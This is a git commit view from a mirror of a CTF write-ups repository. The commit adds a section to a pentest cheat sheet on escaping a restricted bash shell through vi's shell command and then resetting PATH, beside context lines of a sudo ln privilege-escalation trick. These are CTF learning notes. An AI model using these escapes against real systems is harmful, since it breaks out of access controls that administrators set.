mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-10 06:34:17 +00:00
Update Cheat Sheet.md
This commit is contained in:
parent
4268bc7175
commit
f7d3466a7c
1 changed files with 11 additions and 0 deletions
|
@ -189,6 +189,17 @@ sudo /usr/bin/ln -sf /tmp/root /usr/bin/ln
|
|||
sudo /usr/bin/ln
|
||||
|
||||
```
|
||||
### Escaping restricted Shell (rbash)
|
||||
|
||||
Using vi editor
|
||||
|
||||
```
|
||||
: set shell =/bin/sh
|
||||
: shell
|
||||
```
|
||||
Then setting the PATH variable
|
||||
|
||||
`/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin`
|
||||
|
||||
### Tar Exploitation
|
||||
|
||||
|
|
Loading…
Reference in a new issue